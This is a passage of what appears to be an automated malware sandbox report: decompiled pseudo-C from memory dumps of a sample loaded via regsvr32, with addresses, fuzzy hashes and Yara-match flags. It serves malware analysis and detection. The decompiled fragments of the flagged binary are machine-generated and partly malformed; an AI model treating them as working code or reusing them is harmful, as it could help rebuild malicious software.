				if ( *((intOrPtr*)(__rcx + 0x27ad40)) < 0) goto 0x80003a29;
				asm("repe dec eax");
				goto 0x80003a3c;
				r9d = r9d & 0x00000001;
				asm("repe dec eax");
				asm("addss xmm1, xmm1");
				if (r10d - _t66 > 0) goto 0x80003b74;
				_t90 = __rcx + 0x928b5 + __edx * 2;
				asm("inc cx");
				_a16 = 0;
				bpl = 0;
				_a24 = 0;
				asm("cvtdq2ps xmm0, xmm0");
				_a8 = bpl;
				r14b = 0;
				r15b = 0;
				r12b = 0;
				r13b = 0;
				asm("mulss xmm0, xmm1");
				asm("repe inc esp");
				_t83 = r8d;
				if (_t83 -  *((intOrPtr*)(__rcx + 0x27ad40)) >= 0) goto 0x80003b32;
				asm("movd xmm0, eax");
				asm("cvtdq2ps xmm0, xmm0");
				asm("mulss xmm0, xmm1");
				asm("cvttss2si ebp, xmm0");
				if (r8d - __ebp >= 0) goto 0x80003b25;
				_t36 =  *( *((intOrPtr*)(__rcx + 0x27ad38)) + _t83) & 0x000000ff;
				_t72 = _t36;
				if (_t72 == 0) goto 0x80003b0b;
				if (_t72 == 0) goto 0x80003b06;
				if (_t72 == 0) goto 0x80003b01;
				if (_t72 == 0) goto 0x80003afc;
				if (_t72 == 0) goto 0x80003af7;
				if (_t72 == 0) goto 0x80003aef;
				if (_t72 == 0) goto 0x80003ae8;
				if (_t36 - 0xfffffffffffffffc != 1) goto 0x80003b11;
				_a8 = 1;
				goto 0x80003b11;
				_a24 = 1;
				goto 0x80003b0d;
				_a16 = 1;
				goto 0x80003b11;
				r13b = 1;
				goto 0x80003b0d;
				r12b = 1;
				goto 0x80003b0d;
				r15b = 1;
				goto 0x80003b0d;
				r14b = 1;
				goto 0x80003b0d;
				r8d = r8d + 1;
				if (r8d -  *((intOrPtr*)(__rcx + 0x27ad40)) < 0) goto 0x80003aa6;
				goto 0x80003b29;
				_t34 = _a24;
				bpl = _a8;
				if (r10d -  *((intOrPtr*)(__rcx + 0x928b0)) >= 0) goto 0x80003b64;
				 *((char*)(_t90 - 1)) = 1;
				 *_t90 = ((((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) + ((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) | _a16) + (((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) + ((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) | _a16) | _t34) + ((((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) + ((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) | _a16) + (((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) + ((((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) + (((2 | r14b) + (2 | r14b) | r15b) + ((2 | r14b) + (2 | r14b) | r15b) | r12b) | r13b) | _a16) | _t34) | bpl;
				r10d = r10d + 1;
				if (r10d - _t66 <= 0) goto 0x80003a50;
				return _t34;
			}









                                                                                                        0x1800039ec
                                                                                                        0x180003a02
                                                                                                        0x180003a12
                                                                                                        0x180003a20
                                                                                                        0x180003a22
                                                                                                        0x180003a27
                                                                                                        0x180003a2c
                                                                                                        0x180003a33
                                                                                                        0x180003a38
                                                                                                        0x180003a3f
                                                                                                        0x180003a4c
                                                                                                        0x180003a52
                                                                                                        0x180003a59
                                                                                                        0x180003a5d
                                                                                                        0x180003a60
                                                                                                        0x180003a64
                                                                                                        0x180003a69
                                                                                                        0x180003a6e
                                                                                                        0x180003a71
                                                                                                        0x180003a74
                                                                                                        0x180003a77
                                                                                                        0x180003a7a
                                                                                                        0x180003a7e
                                                                                                        0x180003a83
                                                                                                        0x180003a8d
                                                                                                        0x180003a97
                                                                                                        0x180003a9b
                                                                                                        0x180003a9e
                                                                                                        0x180003aa2
                                                                                                        0x180003aa9
                                                                                                        0x180003ab2
                                                                                                        0x180003ab6
                                                                                                        0x180003ab8
                                                                                                        0x180003abd
                                                                                                        0x180003ac2
                                                                                                        0x180003ac7
                                                                                                        0x180003acc
                                                                                                        0x180003ad1
                                                                                                        0x180003ad6
                                                                                                        0x180003adf
                                                                                                        0x180003ae1
                                                                                                        0x180003ae6
                                                                                                        0x180003ae8
                                                                                                        0x180003aed
                                                                                                        0x180003af1
                                                                                                        0x180003af5
                                                                                                        0x180003af7
                                                                                                        0x180003afa
                                                                                                        0x180003afc
                                                                                                        0x180003aff
                                                                                                        0x180003b01
                                                                                                        0x180003b04
                                                                                                        0x180003b06
                                                                                                        0x180003b09
                                                                                                        0x180003b11
                                                                                                        0x180003b21
                                                                                                        0x180003b23
                                                                                                        0x180003b29
                                                                                                        0x180003b2d
                                                                                                        0x180003b39
                                                                                                        0x180003b3d
                                                                                                        0x180003b61
                                                                                                        0x180003b64
                                                                                                        0x180003b6e
                                                                                                        0x180003b83

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 2be0bcbf619b1f7013e2324bf238e79433c708db7641cb208900c8a98654cd64
                                                                                                        • Instruction ID: ef4dbc94ac683f92f89501bd2c9833272e13604db4cd9c457e15ffb46848973a
                                                                                                        • Opcode Fuzzy Hash: 2be0bcbf619b1f7013e2324bf238e79433c708db7641cb208900c8a98654cd64
                                                                                                        • Instruction Fuzzy Hash: 9D41AD3210C6CC86E6ABC53A50A67EF7F65939B3D8F289205FB8203650CB27C64EC700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800579B8 Relevance: .1, Instructions: 126COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 58%
                                                                                                        			E000000011800579B8(signed int __edx, void* __edi, void* __esp, long long __rbx, signed long long*** __rcx, long long __rsi) {
				void* _t24;
				int _t26;
				signed int _t51;
				void* _t52;
				signed long long _t66;
				signed long long _t74;
				signed long long _t76;
				signed long long _t77;
				signed int* _t90;
				signed long long _t95;
				signed long long _t96;
				signed long long _t98;
				signed long long _t104;
				long long _t115;
				void* _t117;
				void* _t120;
				signed long long* _t123;
				signed long long _t124;
				signed long long _t126;
				signed long long _t129;
				signed long long*** _t132;

				_t52 = __edi;
				_t51 = __edx;
				 *((long long*)(_t117 + 8)) = __rbx;
				 *((long long*)(_t117 + 0x10)) = _t115;
				 *((long long*)(_t117 + 0x18)) = __rsi;
				_t66 =  *((intOrPtr*)(__rcx));
				_t132 = __rcx;
				_t90 =  *_t66;
				if (_t90 == 0) goto 0x80057b4c;
				_t124 =  *0x800d81f8; // 0x68308725f9ca
				_t111 = _t124 ^  *_t90;
				asm("dec eax");
				_t74 = _t124 ^ _t90[4];
				asm("dec ecx");
				asm("dec eax");
				if ((_t124 ^ _t90[2]) != _t74) goto 0x80057abe;
				_t76 = _t74 - (_t124 ^  *_t90) >> 3;
				_t101 =  >  ? _t66 : _t76;
				_t6 = _t115 + 0x20; // 0x20
				_t102 = ( >  ? _t66 : _t76) + _t76;
				_t103 =  ==  ? _t66 : ( >  ? _t66 : _t76) + _t76;
				if (( ==  ? _t66 : ( >  ? _t66 : _t76) + _t76) - _t76 < 0) goto 0x80057a5a;
				_t7 = _t115 + 8; // 0x8
				r8d = _t7;
				E0000000118006874C(_t6, _t76, _t111,  ==  ? _t66 : ( >  ? _t66 : _t76) + _t76, _t111, _t115, _t120, _t124);
				_t24 = E0000000118005BBE0(_t66, _t111);
				if (_t66 != 0) goto 0x80057a82;
				_t104 = _t76 + 4;
				r8d = 8;
				E0000000118006874C(_t24, _t76, _t111, _t104, _t111, _t115, _t120, _t124);
				_t129 = _t66;
				_t26 = E0000000118005BBE0(_t66, _t111);
				if (_t129 == 0) goto 0x80057b4c;
				_t123 = _t129 + _t76 * 8;
				_t77 = _t129 + _t104 * 8;
				_t87 =  >  ? _t115 : _t77 - _t123 + 7 >> 3;
				_t64 =  >  ? _t115 : _t77 - _t123 + 7 >> 3;
				if (( >  ? _t115 : _t77 - _t123 + 7 >> 3) == 0) goto 0x80057abe;
				memset(_t52, _t26, 0 << 0);
				_t126 =  *0x800d81f8; // 0x68308725f9ca
				r8d = 0x40;
				asm("dec eax");
				 *_t123 =  *(_t132[1]) ^ _t126;
				_t95 =  *0x800d81f8; // 0x68308725f9ca
				asm("dec eax");
				 *( *( *_t132)) = _t129 ^ _t95;
				_t96 =  *0x800d81f8; // 0x68308725f9ca
				asm("dec eax");
				( *( *_t132))[1] =  &(_t123[1]) ^ _t96;
				_t98 =  *0x800d81f8; // 0x68308725f9ca
				r8d = r8d - (_t51 & 0x0000003f);
				asm("dec eax");
				( *( *_t132))[2] = _t77 ^ _t98;
				goto 0x80057b4f;
				return 0xffffffff;
			}
























                                                                                                        0x1800579b8
                                                                                                        0x1800579b8
                                                                                                        0x1800579b8
                                                                                                        0x1800579bd
                                                                                                        0x1800579c2
                                                                                                        0x1800579d0
                                                                                                        0x1800579d5
                                                                                                        0x1800579d8
                                                                                                        0x1800579de
                                                                                                        0x1800579e4
                                                                                                        0x1800579f1
                                                                                                        0x1800579fa
                                                                                                        0x180057a04
                                                                                                        0x180057a08
                                                                                                        0x180057a0b
                                                                                                        0x180057a11
                                                                                                        0x180057a1f
                                                                                                        0x180057a29
                                                                                                        0x180057a2d
                                                                                                        0x180057a30
                                                                                                        0x180057a33
                                                                                                        0x180057a3a
                                                                                                        0x180057a3c
                                                                                                        0x180057a3c
                                                                                                        0x180057a46
                                                                                                        0x180057a50
                                                                                                        0x180057a58
                                                                                                        0x180057a5a
                                                                                                        0x180057a5e
                                                                                                        0x180057a6a
                                                                                                        0x180057a71
                                                                                                        0x180057a74
                                                                                                        0x180057a7c
                                                                                                        0x180057a89
                                                                                                        0x180057a8d
                                                                                                        0x180057aa5
                                                                                                        0x180057aa9
                                                                                                        0x180057aac
                                                                                                        0x180057ab4
                                                                                                        0x180057ab7
                                                                                                        0x180057abe
                                                                                                        0x180057add
                                                                                                        0x180057ae3
                                                                                                        0x180057ae6
                                                                                                        0x180057af9
                                                                                                        0x180057b02
                                                                                                        0x180057b08
                                                                                                        0x180057b19
                                                                                                        0x180057b22
                                                                                                        0x180057b26
                                                                                                        0x180057b32
                                                                                                        0x180057b3b
                                                                                                        0x180057b46
                                                                                                        0x180057b4a
                                                                                                        0x180057b67

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ErrorLastPrivilegeRelease
                                                                                                        • String ID:
                                                                                                        • API String ID: 1334314998-0
                                                                                                        • Opcode ID: 98717485005dd705b02c04fac76160c670160944a218ad3604f2bd572db0f04c
                                                                                                        • Instruction ID: 16694e0aa585a2051c7887b308dd2964ad01c43582a09679685461d9e0f38986
                                                                                                        • Opcode Fuzzy Hash: 98717485005dd705b02c04fac76160c670160944a218ad3604f2bd572db0f04c
                                                                                                        • Instruction Fuzzy Hash: 4441B472310A5842EF44CF2AD914399B396A74CFD4F59D122FE1D97B59DF39C24A9300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241FDF4 Relevance: .1, Instructions: 108COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 527e379c1f935696bd7d31e5baa684b87ddff0df1becc291ea3408d2cd6e6076
                                                                                                        • Instruction ID: f1a2aa80146296eb93e8ec9e9f236d2b462ba0bfeff8eb24cdf96cbb3ea155b0
                                                                                                        • Opcode Fuzzy Hash: 527e379c1f935696bd7d31e5baa684b87ddff0df1becc291ea3408d2cd6e6076
                                                                                                        • Instruction Fuzzy Hash: 8E51C6B190078E8FDB48CF68D88A5DE7BB0FB58358F104A19FC65A6290D3B49664CF85
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02423228 Relevance: .1, Instructions: 102COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 19c52902eaeb13caf19aa7dd7f0ab4aaffd1c0101971dc544f6e0b0f5b971cbb
                                                                                                        • Instruction ID: bec70ef5bb27657b125fd24199f25c2bab24d9e916f6d73110b31624e9a39cec
                                                                                                        • Opcode Fuzzy Hash: 19c52902eaeb13caf19aa7dd7f0ab4aaffd1c0101971dc544f6e0b0f5b971cbb
                                                                                                        • Instruction Fuzzy Hash: C941DE706087418FC768CF29D19952ABBF1FBCA314F404A2DE68A9B3A0C776D805CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02429198 Relevance: .1, Instructions: 102COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 13f895915762c9c9d1c49183a0f7713c75a136e090bf741561e2b600689d150b
                                                                                                        • Instruction ID: 1859a3481f824dc1c7b4b6551a3e3b9a036c1cec628d898fad2d72e1f90666d3
                                                                                                        • Opcode Fuzzy Hash: 13f895915762c9c9d1c49183a0f7713c75a136e090bf741561e2b600689d150b
                                                                                                        • Instruction Fuzzy Hash: A051C2B090034A8FDB48CF68D48A4DE7FB0BB28394F654619EC16A6290D37896A5CFD5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241D5B0 Relevance: .1, Instructions: 99COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 9726d11b9d0f28050b18c58b60e7a26fad1456da9debf9f1d6b993d04c1af724
                                                                                                        • Instruction ID: e5a3b3c5bd77834298aae0a826fad0ff759be6cc36392d6ba49886c043fdf7ce
                                                                                                        • Opcode Fuzzy Hash: 9726d11b9d0f28050b18c58b60e7a26fad1456da9debf9f1d6b993d04c1af724
                                                                                                        • Instruction Fuzzy Hash: BB410B7090070D8BDF48DF68C48A0DDBFB0FB487A8F65561DE81AAA290C7B49585CF89
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024164B0 Relevance: .1, Instructions: 87COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 220b190b2df76fdca4aba994f53d96dd8558f8e078fe9ffc4c6cb5afd02dfade
                                                                                                        • Instruction ID: fc945767da8240fb65ccc86d7d8fc213b85d95080fc7bf9d2e2d875cf2f9e9c0
                                                                                                        • Opcode Fuzzy Hash: 220b190b2df76fdca4aba994f53d96dd8558f8e078fe9ffc4c6cb5afd02dfade
                                                                                                        • Instruction Fuzzy Hash: 7C4193B180078ECFDF45DFA8D88A4CE7BB0FF18358F104619E855A6254D3B89665CF89
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242B23C Relevance: .1, Instructions: 81COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 6c22496411e87f399239dace5550b49eb541ee5b126de8fc5aafe01d820caa99
                                                                                                        • Instruction ID: c8d2c8795d716fcefb67b071c1a2ed27e0c55fb4b16771e1a2dd6b7a0a400ef5
                                                                                                        • Opcode Fuzzy Hash: 6c22496411e87f399239dace5550b49eb541ee5b126de8fc5aafe01d820caa99
                                                                                                        • Instruction Fuzzy Hash: 6C41D3B090070E8FDB49CF68C88A5DE7FB1FB68398F20061DF85596250D7B896A5CBC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024040EC Relevance: .1, Instructions: 77COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 97dd7ad7ed4da7885613c05e7c4b467882a88f11b93df6c09437ee41da23633b
                                                                                                        • Instruction ID: bf9847a95b5524879093fe4a89123af55153b6c7f9ca9af9d6d42740ab61f92b
                                                                                                        • Opcode Fuzzy Hash: 97dd7ad7ed4da7885613c05e7c4b467882a88f11b93df6c09437ee41da23633b
                                                                                                        • Instruction Fuzzy Hash: BD312370609B84AFD798DF19D08951ABBE0FB88754F90692EF896C7364C3B4D844CF42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241A524 Relevance: .1, Instructions: 77COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 2450ad4f63e9eab6b0fd777a969288afe298e4bf8080dd2daf4be6793bcb3a51
                                                                                                        • Instruction ID: 6e9f228ca667524d97285e928d988aa194ca88200a4d549f71b91116446adace
                                                                                                        • Opcode Fuzzy Hash: 2450ad4f63e9eab6b0fd777a969288afe298e4bf8080dd2daf4be6793bcb3a51
                                                                                                        • Instruction Fuzzy Hash: 6C41C0B481038E9FDB45CF68C88A4CEBFF0FF18358F105619E869A6260D3B89655CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240BCD8 Relevance: .1, Instructions: 72COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 678669b04419ad2d4635d85871d616ec60642eea3c68703b871d5a0c171af1a3
                                                                                                        • Instruction ID: 4a22223f2c096c5e3928a09d013aacc2a1d60c763f5efe3213597e8a05833b00
                                                                                                        • Opcode Fuzzy Hash: 678669b04419ad2d4635d85871d616ec60642eea3c68703b871d5a0c171af1a3
                                                                                                        • Instruction Fuzzy Hash: 6B31B8B090038E8FDB48DF68D84A5EE7BB1FB58308F00461DE966A6790D7B89564CFC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242A518 Relevance: .1, Instructions: 71COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 925747cb72a7863cb1800b45333072a008e373f28f40b534f1631bfbb91340c4
                                                                                                        • Instruction ID: 73d90fe3f13d0eb308345a21e7e9179415db88b8ba084bbaa1e4a4dda4b748dd
                                                                                                        • Opcode Fuzzy Hash: 925747cb72a7863cb1800b45333072a008e373f28f40b534f1631bfbb91340c4
                                                                                                        • Instruction Fuzzy Hash: 6B41E2B190074ECFDB48CFA4C88A4CE7FB1FF54358F118659E869A6250D3B89699CF84
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180033FF8 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180033FF8(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				intOrPtr* _t67;
				long long _t68;
				long long _t69;
				long long* _t72;
				long long _t73;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034025;
				_t67 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t67 + 8;
				_t68 =  *_t67;
				 *__rdx = _t68;
				goto 0x800340f2;
				if (__eax - 0x63 <= 0) goto 0x80034066;
				_t56 =  *((intOrPtr*)(_t68 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t68 + 8));
				_v16 = _t57;
				_v24 = _t73;
				E00000001180025880(_t57, __rcx, _t68, __rdx, _t74, _t75, _t67 + 8);
				goto 0x800340f4;
				if ( *((intOrPtr*)(_t68 + 0x470)) != 1) goto 0x800340e4;
				_t43 =  *((intOrPtr*)(_t68 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t72 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t72 != 0) goto 0x800340a0;
				 *_t72 = 3;
				 *((intOrPtr*)(_t72 + 4)) = r9b;
				 *((intOrPtr*)(_t72 + 0x10)) = _t43;
				dil = 1;
				goto 0x800340f4;
				_v24 = _t43;
				r8d = 3;
				_t69 = _t64;
				if (E0000000118003FE64(_t41, _t64, _t69, _t72, _t73, _t80, _t81) != 0) goto 0x80034098;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t73;
				E00000001180025880(_t61, _t64, _t69, _t72, _t74, _t75, _t67 + 8);
				goto 0x8003409b;
				 *_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0x488 + _t61 * 8))));
				return 1;
			}






















                                                                                                        0x180033ff8
                                                                                                        0x180034009
                                                                                                        0x18003400c
                                                                                                        0x18003400e
                                                                                                        0x180034016
                                                                                                        0x18003401a
                                                                                                        0x18003401d
                                                                                                        0x180034020
                                                                                                        0x18003402f
                                                                                                        0x180034031
                                                                                                        0x180034037
                                                                                                        0x18003403a
                                                                                                        0x18003403f
                                                                                                        0x180034043
                                                                                                        0x18003404a
                                                                                                        0x180034050
                                                                                                        0x180034055
                                                                                                        0x18003405a
                                                                                                        0x180034061
                                                                                                        0x180034071
                                                                                                        0x180034073
                                                                                                        0x18003407d
                                                                                                        0x180034081
                                                                                                        0x180034089
                                                                                                        0x18003408b
                                                                                                        0x180034091
                                                                                                        0x180034095
                                                                                                        0x180034098
                                                                                                        0x18003409e
                                                                                                        0x1800340a0
                                                                                                        0x1800340a4
                                                                                                        0x1800340aa
                                                                                                        0x1800340b4
                                                                                                        0x1800340b6
                                                                                                        0x1800340ba
                                                                                                        0x1800340bd
                                                                                                        0x1800340c4
                                                                                                        0x1800340c8
                                                                                                        0x1800340cf
                                                                                                        0x1800340d3
                                                                                                        0x1800340d8
                                                                                                        0x1800340dd
                                                                                                        0x1800340e2
                                                                                                        0x1800340ef
                                                                                                        0x1800340fe

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 49f151f2815409df47cf35074aee94ad7b409c594c595c889392c40cecdb0b0b
                                                                                                        • Instruction ID: 1d27be99a8b020379d8358165572738e4e54b8587b91d4c9789918c3c06e1380
                                                                                                        • Opcode Fuzzy Hash: 49f151f2815409df47cf35074aee94ad7b409c594c595c889392c40cecdb0b0b
                                                                                                        • Instruction Fuzzy Hash: 1F314F73205B88C5DB668F29E0503AE77A0F399B88F558125DB8D4F761CF36C556C704
                                                                                                        Uniqueness

